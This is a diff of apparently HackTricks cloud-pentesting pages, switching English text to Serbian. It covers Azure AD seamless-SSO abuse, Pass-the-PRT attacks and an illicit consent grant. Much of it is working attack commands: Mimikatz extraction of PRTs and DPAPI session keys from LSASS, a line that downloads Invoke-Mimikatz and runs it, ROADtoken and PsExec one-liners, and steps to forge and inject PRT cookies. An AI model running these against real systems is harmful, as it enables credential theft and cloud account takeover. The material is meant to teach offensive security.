- Postavite preferencu za [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) na navedene [vrednosti](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically):
|
||||
- `https://aadg.windows.net.nsatc.net`
|
||||
- `https://autologon.microsoftazuread-sso.com`
|
||||
3. **Pristupite web aplikaciji:**
|
||||
- Posetite web aplikaciju koja je integrisana sa AAD domenom organizacije. Uobičajen primer je [Office 365](https://portal.office.com/).
|
||||
4. **Proces autentifikacije:**
|
||||
- Na ekranu za prijavu, treba uneti korisničko ime, ostavljajući polje za lozinku prazno.
|
||||
- Da biste nastavili, pritisnite TAB ili ENTER.
|
||||
|
||||
> [!TIP]
|
||||
> This doesn't bypass MFA if enabled
|
||||
> Ovo ne zaobilazi MFA ako je omogućeno
|
||||
|
||||
#### Option 2 without dcsync - SeamlessPass
|
||||
#### Opcija 2 bez dcsync - SeamlessPass
|
||||
|
||||
It's also possible to perform this attack **without a dcsync attack** to be more stealth as [explained in this blog post](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). For that you only need one of the following:
|
||||
Takođe je moguće izvršiti ovaj napad **bez dcsync napada** da biste bili diskretniji, kao što je objašnjeno u ovom blog postu. Za to vam je potrebna samo jedna od sledećih stavki:
|
||||
|
||||
- **A compromised user's TGT:** Even if you don't have one but the user was compromised,you can get one using fake TGT delegation trick implemented in many tools such as [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) and [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Golden Ticket**: If you have the KRBTGT key, you can create the TGT you need for the attacked user.
|
||||
- **A compromised user’s NTLM hash or AES key:** SeamlessPass will communicate with the domain controller with this information to generate the TGT
|
||||
- **AZUREADSSOACC$ account NTLM hash or AES key:** With this info and the user’s Security Identifier (SID) to attack it's possible to create a service ticket an authenticate with the cloud (as performed in the previous method).
|
||||
|
||||
Finally, with the TGT it's possible to use the tool [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) with:
|
||||
- **TGT kompromitovanog korisnika:** Čak i ako nemate jedan, ali je korisnik kompromitovan, možete dobiti jedan koristeći trik lažne TGT delegacije implementiran u mnogim alatima kao što su [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) i [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Zlatna karta**: Ako imate KRBTGT ključ, možete kreirati TGT koji vam je potreban za napadnutog korisnika.
|
||||
- **NTLM hash ili AES ključ kompromitovanog korisnika:** SeamlessPass će komunicirati sa kontrolerom domena sa ovom informacijom da generiše TGT.
|
||||
- **NTLM hash ili AES ključ AZUREADSSOACC$ naloga:** Sa ovom informacijom i SID-om korisnika koji napadate, moguće je kreirati servisnu kartu i autentifikovati se sa cloud-om (kao što je izvedeno u prethodnoj metodi).
|
||||
|
||||
Na kraju, sa TGT-om je moguće koristiti alat [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) sa:
|
||||
```
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
|
||||
```
|
||||
Dalje informacije o podešavanju Firefoxa za rad sa seamless SSO mogu se [**pronaći u ovom blog postu**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
|
||||
Further information to set Firefox to work with seamless SSO can be [**found in this blog post**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
#### ~~Kreiranje Kerberos karata za korisnike koji koriste samo cloud~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
#### ~~Creating Kerberos tickets for cloud-only users~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
If the Active Directory administrators have access to Azure AD Connect, they can **set SID for any cloud-user**. This way Kerberos **tickets** can be **created also for cloud-only users**. The only requirement is that the SID is a proper [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
Ako administratori Active Directory imaju pristup Azure AD Connect, mogu **postaviti SID za bilo kog cloud-korisnika**. Na ovaj način Kerberos **karte** mogu biti **kreirane i za korisnike koji koriste samo cloud**. Jedini zahtev je da SID bude ispravan [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
|
||||
> [!CAUTION]
|
||||
> Changing SID of cloud-only admin users is now **blocked by Microsoft**.\
|
||||
> For info check [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
> Promena SID-a korisnika koji koriste samo cloud je sada **blokirana od strane Microsoft-a**.\
|
||||
> Za informacije proverite [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
|
||||
### On-prem -> Cloud via Resource Based Constrained Delegation <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Anyone that can manage computer accounts (`AZUREADSSOACC$`) in the container or OU this account is in, it can **configure a resource based constrained delegation over the account and access it**.
|
||||
### On-prem -> Cloud putem Ograničene Delegacije na Bazi Resursa <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Svako ko može upravljati računima računara (`AZUREADSSOACC$`) u kontejneru ili OU u kojem se ovaj račun nalazi, može **konfigurisati ograničenu delegaciju na bazi resursa preko računa i pristupiti mu**.
|
||||
```python
|
||||
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
|
||||
```
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
|
||||
- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
- [TR19: Ja sam u vašem oblaku, čitam e-poštu svih - hakovanje Azure AD putem Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,77 +2,72 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is a PRT
|
||||
## Šta je PRT
|
||||
|
||||
{{#ref}}
|
||||
az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
|
||||
### Check if you have a PRT
|
||||
|
||||
### Proverite da li imate PRT
|
||||
```
|
||||
Dsregcmd.exe /status
|
||||
```
|
||||
|
||||
In the SSO State section, you should see the **`AzureAdPrt`** set to **YES**.
|
||||
U odeljku SSO State, trebali biste videti **`AzureAdPrt`** postavljen na **DA**.
|
||||
|
||||
<figure><img src="../../../images/image (140).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
In the same output you can also see if the **device is joined to Azure** (in the field `AzureAdJoined`):
|
||||
U istom izlazu takođe možete videti da li je **uređaj povezan sa Azure** (u polju `AzureAdJoined`):
|
||||
|
||||
<figure><img src="../../../images/image (135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## PRT Cookie
|
||||
|
||||
The PRT cookie is actually called **`x-ms-RefreshTokenCredential`** and it's a JSON Web Token (JWT). A JWT contains **3 parts**, the **header**, **payload** and **signature**, divided by a `.` and all url-safe base64 encoded. A typical PRT cookie contains the following header and body:
|
||||
## PRT Kolačić
|
||||
|
||||
PRT kolačić se zapravo zove **`x-ms-RefreshTokenCredential`** i to je JSON Web Token (JWT). JWT sadrži **3 dela**, **zaglavlje**, **payload** i **potpis**, podeljene tačkom `.` i sve su url-sigurne base64 kodirane. Tipičan PRT kolačić sadrži sledeće zaglavlje i telo:
|
||||
```json
|
||||
{
|
||||
"alg": "HS256",
|
||||
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
|
||||
"alg": "HS256",
|
||||
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
|
||||
}
|
||||
{
|
||||
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
|
||||
"is_primary": "true",
|
||||
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
|
||||
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
|
||||
"is_primary": "true",
|
||||
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
|
||||
}
|
||||
```
|
||||
**Primarni osvežavajući token (PRT)** je enkapsuliran unutar **`refresh_token`**, koji je enkriptovan ključem pod kontrolom Azure AD, čime su njegovi sadržaji neprozirni i nekriptovani za nas. Polje **`is_primary`** označava enkapsulaciju primarnog osvežavajućeg tokena unutar ovog tokena. Da bi se osiguralo da kolačić ostane vezan za specifičnu sesiju prijavljivanja za koju je namenjen, `request_nonce` se prenosi sa stranice `logon.microsoftonline.com`.
|
||||
|
||||
The actual **Primary Refresh Token (PRT)** is encapsulated within the **`refresh_token`**, which is encrypted by a key under the control of Azure AD, rendering its contents opaque and undecryptable to us. The field **`is_primary`** signifies the encapsulation of the primary refresh token within this token. To ensure that the cookie remains bound to the specific login session it was intended for, the `request_nonce` is transmitted from the `logon.microsoftonline.com` page.
|
||||
### Tok PRT kolačića koristeći TPM
|
||||
|
||||
### PRT Cookie flow using TPM
|
||||
Proces **LSASS** će poslati **KDF kontekst** TPM-u, a TPM će koristiti **session key** (prikupljen kada je uređaj registrovan u AzureAD i sačuvan u TPM-u) i prethodni kontekst da **izvede** **ključ**, a ovaj **izvedeni ključ** se koristi za **potpisivanje PRT kolačića (JWT).**
|
||||
|
||||
The **LSASS** process will send to the TPM the **KDF context**, and the TPM will used **session key** (gathered when the device was registered in AzureAD and stored in the TPM) and the previous context to **derivate** a **key,** and this **derived key** is used to **sign the PRT cookie (JWT).**
|
||||
**KDF kontekst je** nonce iz AzureAD i PRT koji stvara **JWT** pomešan sa **kontekstom** (nasumični bajtovi).
|
||||
|
||||
The **KDF context is** a nonce from AzureAD and the PRT creating a **JWT** mixed with a **context** (random bytes).
|
||||
|
||||
Therefore, even if the PRT cannot be extracted because it's located inside the TPM, it's possible to abuseLSASS to **request derived keys from new contexts and use the generated keys to sign Cookies**.
|
||||
Stoga, čak i ako PRT ne može biti ekstrahovan jer se nalazi unutar TPM-a, moguće je zloupotrebiti LSASS da **zatraži izvedene ključeve iz novih konteksta i koristi generisane ključeve za potpisivanje kolačića**.
|
||||
|
||||
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## PRT Abuse Scenarios
|
||||
## Scenariji zloupotrebe PRT-a
|
||||
|
||||
As a **regular user** it's possible to **request PRT usage** by asking LSASS for SSO data.\
|
||||
This can be done like **native apps** which request tokens from **Web Account Manager** (token broker). WAM pasess the request to **LSASS**, which asks for tokens using signed PRT assertion. Or it can be down with **browser based (web) flow**s where a **PRT cookie** is used as **header** to authenticate requests to Azure AS login pages.
|
||||
Kao **običan korisnik** moguće je **zatražiti korišćenje PRT-a** tražeći od LSASS-a SSO podatke.\
|
||||
To se može uraditi kao **nativne aplikacije** koje traže tokene od **Web Account Manager** (token broker). WAM prosleđuje zahtev **LSASS-u**, koji traži tokene koristeći potpisanu PRT tvrdnju. Ili se može uraditi sa **tokovima zasnovanim na pretraživaču (web)** gde se **PRT kolačić** koristi kao **zaglavlje** za autentifikaciju zahteva za Azure AS stranice za prijavu.
|
||||
|
||||
As **SYSTEM** you could **steal the PRT if not protected** by TPM or **interact with PRT keys in LSASS** using crypto APIs.
|
||||
Kao **SYSTEM** mogli biste **ukrasti PRT ako nije zaštićen** TPM-om ili **interagovati sa PRT ključevima u LSASS-u** koristeći kripto API-je.
|
||||
|
||||
## Pass-the-PRT Attack Examples
|
||||
## Primeri napada Pass-the-PRT
|
||||
|
||||
### Attack - ROADtoken
|
||||
### Napad - ROADtoken
|
||||
|
||||
For more info about this way [**check this post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken will run **`BrowserCore.exe`** from the right directory and use it to **obtain a PRT cookie**. This cookie can then be used with ROADtools to authenticate and **obtain a persistent refresh token**.
|
||||
|
||||
To generate a valid PRT cookie the first thing you need is a nonce.\
|
||||
You can get this with:
|
||||
Za više informacija o ovom načinu [**proverite ovu objavu**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken će pokrenuti **`BrowserCore.exe`** iz pravog direktorijuma i koristiti ga da **dobije PRT kolačić**. Ovaj kolačić se zatim može koristiti sa ROADtools za autentifikaciju i **dobijanje trajnog osvežavajućeg tokena**.
|
||||
|
||||
Da biste generisali važeći PRT kolačić, prva stvar koja vam je potrebna je nonce.\
|
||||
Možete to dobiti sa:
|
||||
```powershell
|
||||
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
|
||||
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
|
||||
|
||||
$Params = @{
|
||||
"URI" = $URL
|
||||
"Method" = "POST"
|
||||
"URI" = $URL
|
||||
"Method" = "POST"
|
||||
}
|
||||
$Body = @{
|
||||
"grant_type" = "srv_challenge"
|
||||
@@ -81,27 +76,19 @@ $Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
|
||||
$Result.Nonce
|
||||
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
|
||||
```
|
||||
|
||||
Or using [**roadrecon**](https://github.com/dirkjanm/ROADtools):
|
||||
|
||||
Ili korišćenjem [**roadrecon**](https://github.com/dirkjanm/ROADtools):
|
||||
```powershell
|
||||
roadrecon auth prt-init
|
||||
```
|
||||
|
||||
Then you can use [**roadtoken**](https://github.com/dirkjanm/ROADtoken) to get a new PRT (run in the tool from a process of the user to attack):
|
||||
|
||||
Zatim možete koristiti [**roadtoken**](https://github.com/dirkjanm/ROADtoken) da dobijete novi PRT (pokrenite alat iz procesa korisnika koji napadate):
|
||||
```powershell
|
||||
.\ROADtoken.exe <nonce>
|
||||
```
|
||||
|
||||
As oneliner:
|
||||
|
||||
Kao oneliner:
|
||||
```powershell
|
||||
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
|
||||
```
|
||||
|
||||
Then you can use the **generated cookie** to **generate tokens** to **login** using Azure AD **Graph** or Microsoft Graph:
|
||||
|
||||
Zatim možete koristiti **generisani kolačić** za **generisanje tokena** za **prijavu** koristeći Azure AD **Graph** ili Microsoft Graph:
|
||||
```powershell
|
||||
# Generate
|
||||
roadrecon auth --prt-cookie <prt_cookie>
|
||||
@@ -109,13 +96,11 @@ roadrecon auth --prt-cookie <prt_cookie>
|
||||
# Connect
|
||||
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
|
||||
```
|
||||
### Napad - Korišćenje roadrecon
|
||||
|
||||
### Attack - Using roadrecon
|
||||
|
||||
### Attack - Using AADInternals and a leaked PRT
|
||||
|
||||
`Get-AADIntUserPRTToken` **gets user’s PRT token** from the Azure AD joined or Hybrid joined computer. Uses `BrowserCore.exe` to get the PRT token.
|
||||
### Napad - Korišćenje AADInternals i propuštenog PRT-a
|
||||
|
||||
`Get-AADIntUserPRTToken` **dobija korisnikov PRT token** sa Azure AD povezanog ili hibridno povezanog računara. Koristi `BrowserCore.exe` za dobijanje PRT tokena.
|
||||
```powershell
|
||||
# Get the PRToken
|
||||
$prtToken = Get-AADIntUserPRTToken
|
||||
@@ -123,9 +108,7 @@ $prtToken = Get-AADIntUserPRTToken
|
||||
# Get an access token for AAD Graph API and save to cache
|
||||
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
```
|
||||
|
||||
Or if you have the values from Mimikatz you can also use AADInternals to generate a token:
|
||||
|
||||
Ili ako imate vrednosti iz Mimikatz, možete takođe koristiti AADInternals za generisanje tokena:
|
||||
```powershell
|
||||
# Mimikat "PRT" value
|
||||
$MimikatzPRT="MC5BWU..."
|
||||
@@ -153,40 +136,36 @@ $AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
|
||||
# Verify access and connect with Az. You can see account id in mimikatz prt output
|
||||
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
|
||||
```
|
||||
|
||||
Go to [https://login.microsoftonline.com](https://login.microsoftonline.com), clear all cookies for login.microsoftonline.com and enter a new cookie.
|
||||
|
||||
Idite na [https://login.microsoftonline.com](https://login.microsoftonline.com), obrišite sve kolačiće za login.microsoftonline.com i unesite novi kolačić.
|
||||
```
|
||||
Name: x-ms-RefreshTokenCredential
|
||||
Value: [Paste your output from above]
|
||||
Path: /
|
||||
HttpOnly: Set to True (checked)
|
||||
```
|
||||
|
||||
Then go to [https://portal.azure.com](https://portal.azure.com)
|
||||
Zatim idite na [https://portal.azure.com](https://portal.azure.com)
|
||||
|
||||
> [!CAUTION]
|
||||
> The rest should be the defaults. Make sure you can refresh the page and the cookie doesn’t disappear, if it does, you may have made a mistake and have to go through the process again. If it doesn’t, you should be good.
|
||||
> Ostatak bi trebao biti podrazumevani. Uverite se da možete osvežiti stranicu i da kolačić ne nestaje, ako nestane, možda ste napravili grešku i morate ponovo proći kroz proces. Ako ne nestane, trebali biste biti u redu.
|
||||
|
||||
### Attack - Mimikatz
|
||||
### Napad - Mimikatz
|
||||
|
||||
#### Steps
|
||||
#### Koraci
|
||||
|
||||
1. The **PRT (Primary Refresh Token) is extracted from LSASS** (Local Security Authority Subsystem Service) and stored for subsequent use.
|
||||
2. The **Session Key is extracted next**. Given that this key is initially issued and then re-encrypted by the local device, it necessitates decryption using a DPAPI masterkey. Detailed information about DPAPI (Data Protection API) can be found in these resources: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) and for an understanding of its application, refer to [Pass-the-cookie attack](az-pass-the-cookie.md).
|
||||
3. Post decryption of the Session Key, the **derived key and context for the PRT are obtained**. These are crucial for the **creation of the PRT cookie**. Specifically, the derived key is employed for signing the JWT (JSON Web Token) that constitutes the cookie. A comprehensive explanation of this process has been provided by Dirk-jan, accessible [here](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
|
||||
1. **PRT (Primarni osvežavajući token) se izvlači iz LSASS** (Servis podsystema lokalne bezbednosti) i čuva za kasniju upotrebu.
|
||||
2. **Ključ sesije se zatim izvlači**. S obzirom na to da se ovaj ključ inicijalno izdaje, a zatim ponovo enkriptuje od strane lokalnog uređaja, neophodno je dekriptovati ga koristeći DPAPI master ključ. Detaljne informacije o DPAPI (API za zaštitu podataka) možete pronaći u ovim resursima: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) i za razumevanje njegove primene, pogledajte [Napad Pass-the-cookie](az-pass-the-cookie.md).
|
||||
3. Nakon dekripcije Ključa sesije, **dobijaju se derivirani ključ i kontekst za PRT**. Ovi su ključni za **kreiranje PRT kolačića**. Konkretno, derivirani ključ se koristi za potpisivanje JWT (JSON Web Token) koji čini kolačić. Sveobuhvatno objašnjenje ovog procesa je pružio Dirk-jan, dostupno [ovde](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that if the PRT is inside the TPM and not inside `lsass` **mimikatz won't be able to extract it**.\
|
||||
> However, it will be possible to g**et a key from a derive key from a context** from the TPM and use it to **sign a cookie (check option 3).**
|
||||
> Imajte na umu da ako je PRT unutar TPM-a i nije unutar `lsass`, **mimikatz neće moći da ga izvuče**.\
|
||||
> Međutim, biće moguće **dobiti ključ iz deriviranog ključa iz konteksta** iz TPM-a i koristiti ga za **potpisivanje kolačića (proverite opciju 3).**
|
||||
|
||||
You can find an **in depth explanation of the performed process** to extract these details in here: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
Možete pronaći **detaljno objašnjenje izvršenog procesa** za ekstrakciju ovih detalja ovde: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
|
||||
> [!WARNING]
|
||||
> This won't exactly work post August 2021 fixes to get other users PRT tokens as only the user can get his PRT (a local admin cannot access other users PRTs), but can access his.
|
||||
|
||||
You can use **mimikatz** to extract the PRT:
|
||||
> Ovo neće tačno raditi nakon ispravki iz avgusta 2021. za dobijanje PRT tokena drugih korisnika, jer samo korisnik može dobiti svoj PRT (lokalni administrator ne može pristupiti PRT-ima drugih korisnika), ali može pristupiti svom.
|
||||
|
||||
Možete koristiti **mimikatz** za ekstrakciju PRT:
|
||||
```powershell
|
||||
mimikatz.exe
|
||||
Privilege::debug
|
||||
@@ -196,93 +175,76 @@ Sekurlsa::cloudap
|
||||
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
|
||||
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
|
||||
```
|
||||
|
||||
(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
|
||||
|
||||
<figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Copy** the part labeled **Prt** and save it.\
|
||||
Extract also the session key (the **`KeyValue`** of the **`ProofOfPossesionKey`** field) which you can see highlighted below. This is encrypted and we will need to use our DPAPI masterkeys to decrypt it.
|
||||
**Kopirajte** deo označen kao **Prt** i sačuvajte ga.\
|
||||
Izvucite takođe sesijski ključ (**`KeyValue`** polja **`ProofOfPossesionKey`**) koji možete videti označen ispod. Ovo je enkriptovano i biće nam potrebni naši DPAPI master ključevi da bismo ga dekriptovali.
|
||||
|
||||
<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> If you don’t see any PRT data it could be that you **don’t have any PRTs** because your device isn’t Azure AD joined or it could be you are **running an old version** of Windows 10.
|
||||
|
||||
To **decrypt** the session key you need to **elevate** your privileges to **SYSTEM** to run under the computer context to be able to use the **DPAPI masterkey to decrypt it**. You can use the following commands to do so:
|
||||
> Ako ne vidite nikakve PRT podatke, može biti da **nemate nikakve PRT-ove** jer vaš uređaj nije povezan sa Azure AD ili može biti da **koristite staru verziju** Windows 10.
|
||||
|
||||
Da biste **dekriptovali** sesijski ključ, potrebno je da **povećate** svoja ovlašćenja na **SYSTEM** da biste radili pod kontekstom računara kako biste mogli da koristite **DPAPI master ključ za dekriptovanje**. Možete koristiti sledeće komande da to uradite:
|
||||
```
|
||||
token::elevate
|
||||
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
|
||||
```
|
||||
|
||||
<figure><img src="../../../images/image (183).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Option 1 - Full Mimikatz
|
||||
#### Opcija 1 - Full Mimikatz
|
||||
|
||||
- Now you want to copy both the Context value:
|
||||
- Sada želite da kopirate i Context vrednost:
|
||||
|
||||
<figure><img src="../../../images/image (210).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- And the derived key value:
|
||||
- I vrednost deriviranog ključa:
|
||||
|
||||
<figure><img src="../../../images/image (150).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Finally you can use all this info to **generate PRT cookies**:
|
||||
|
||||
- Na kraju, možete iskoristiti sve ove informacije da **generišete PRT kolačiće**:
|
||||
```bash
|
||||
Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
|
||||
```
|
||||
|
||||
<figure><img src="../../../images/image (282).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Go to [https://login.microsoftonline.com](https://login.microsoftonline.com), clear all cookies for login.microsoftonline.com and enter a new cookie.
|
||||
|
||||
- Idite na [https://login.microsoftonline.com](https://login.microsoftonline.com), obrišite sve kolačiće za login.microsoftonline.com i unesite novi kolačić.
|
||||
```
|
||||
Name: x-ms-RefreshTokenCredential
|
||||
Value: [Paste your output from above]
|
||||
Path: /
|
||||
HttpOnly: Set to True (checked)
|
||||
```
|
||||
|
||||
- Then go to [https://portal.azure.com](https://portal.azure.com)
|
||||
- Zatim idite na [https://portal.azure.com](https://portal.azure.com)
|
||||
|
||||
> [!CAUTION]
|
||||
> The rest should be the defaults. Make sure you can refresh the page and the cookie doesn’t disappear, if it does, you may have made a mistake and have to go through the process again. If it doesn’t, you should be good.
|
||||
> Ostatak bi trebao biti podrazumevani. Uverite se da možete osvežiti stranicu i da kolačić ne nestaje, ako nestane, možda ste napravili grešku i morate ponovo proći kroz proces. Ako ne nestane, trebali biste biti u redu.
|
||||
|
||||
#### Option 2 - roadrecon using PRT
|
||||
|
||||
- Renew the PRT first, which will save it in `roadtx.prt`:
|
||||
#### Opcija 2 - roadrecon koristeći PRT
|
||||
|
||||
- Prvo obnovite PRT, što će ga sačuvati u `roadtx.prt`:
|
||||
```bash
|
||||
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
|
||||
```
|
||||
|
||||
- Now we can **request tokens** using the interactive browser with `roadtx browserprtauth`. If we use the `roadtx describe` command, we see the access token includes an MFA claim because the PRT I used in this case also had an MFA claim.
|
||||
|
||||
- Sada možemo **zatražiti tokene** koristeći interaktivni pregledač sa `roadtx browserprtauth`. Ako koristimo komandu `roadtx describe`, vidimo da pristupni token uključuje MFA zahtev jer je PRT koji sam koristio u ovom slučaju takođe imao MFA zahtev.
|
||||
```bash
|
||||
roadtx browserprtauth
|
||||
roadtx describe < .roadtools_auth
|
||||
```
|
||||
|
||||
<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Option 3 - roadrecon using derived keys
|
||||
|
||||
Having the context and the derived key dumped by mimikatz, it's possible to use roadrecon to generate a new signed cookie with:
|
||||
#### Opcija 3 - roadrecon koristeći izvedene ključeve
|
||||
|
||||
Imajući kontekst i izvedeni ključ izbačen od strane mimikatz, moguće je koristiti roadrecon za generisanje novog potpisanog kolačića sa:
|
||||
```bash
|
||||
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
|
||||
```
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/)
|
||||
- [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
|
||||
- [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,52 +4,43 @@
|
||||
|
||||
### Illicit Consent Grant
|
||||
|
||||
By default, any user can register an application in Azure AD. So you can register an application (only for the target tenant) that needs high impact permissions with admin consent (an approve it if you are the admin) - like sending mail on a user's behalf, role management etc.T his will allow us to **execute phishing attacks** that would be very **fruitful** in case of success.
|
||||
Podrazumevano, svaki korisnik može registrovati aplikaciju u Azure AD. Tako možete registrovati aplikaciju (samo za ciljni tenant) koja zahteva visoke dozvole sa admin pristankom (odobrite je ako ste admin) - kao što je slanje maila u ime korisnika, upravljanje rolama itd. Ovo će nam omogućiti da **izvršimo phishing napade** koji bi bili veoma **plodonosni** u slučaju uspeha.
|
||||
|
||||
Moreover, you could also accept that application with your user as a way to maintain access over it.
|
||||
Štaviše, mogli biste takođe prihvatiti tu aplikaciju sa svojim korisnikom kao način da zadržite pristup nad njom.
|
||||
|
||||
### Applications and Service Principals
|
||||
|
||||
With privileges of Application Administrator, GA or a custom role with microsoft.directory/applications/credentials/update permissions, we can add credentials (secret or certificate) to an existing application.
|
||||
